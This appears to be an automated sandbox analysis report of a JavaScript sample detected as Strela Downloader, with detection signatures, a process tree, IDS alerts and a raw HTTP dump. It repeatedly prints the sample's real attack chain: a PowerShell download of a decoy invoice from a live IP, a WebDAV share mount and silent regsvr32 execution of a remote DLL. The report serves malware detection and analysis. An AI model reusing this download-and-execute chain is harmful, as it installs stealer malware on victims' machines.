Edit tour

Windows Analysis Report
23333227572217423995.js

Overview

General Information

Sample name:	23333227572217423995.js
Analysis ID:	1588351
MD5:	436d6035cf57588e27132b784451d61c
SHA1:	0784823c6f73486e817aaa4960f2851b427f46a9
SHA256:	4b301e866df3faa0d672aa601c2ce572965ffa9c6cb29829ba0bf6be1ba5d35a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7276 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7328 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7380 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1660,i,10964103257777821121,7652428037546032337,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7588 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7680 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7852 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7276	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7328, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7328, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ProcessId: 7276, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7680, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 7328, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 7328, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 7328, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 7328, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 7328, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ProcessId: 7276, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7328, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7680, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7852, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7680, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 7328, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:13:36.681483+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:13:39.294366+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:13:36.681483+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 23333227572217423995.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 23333227572217423995.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:13:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
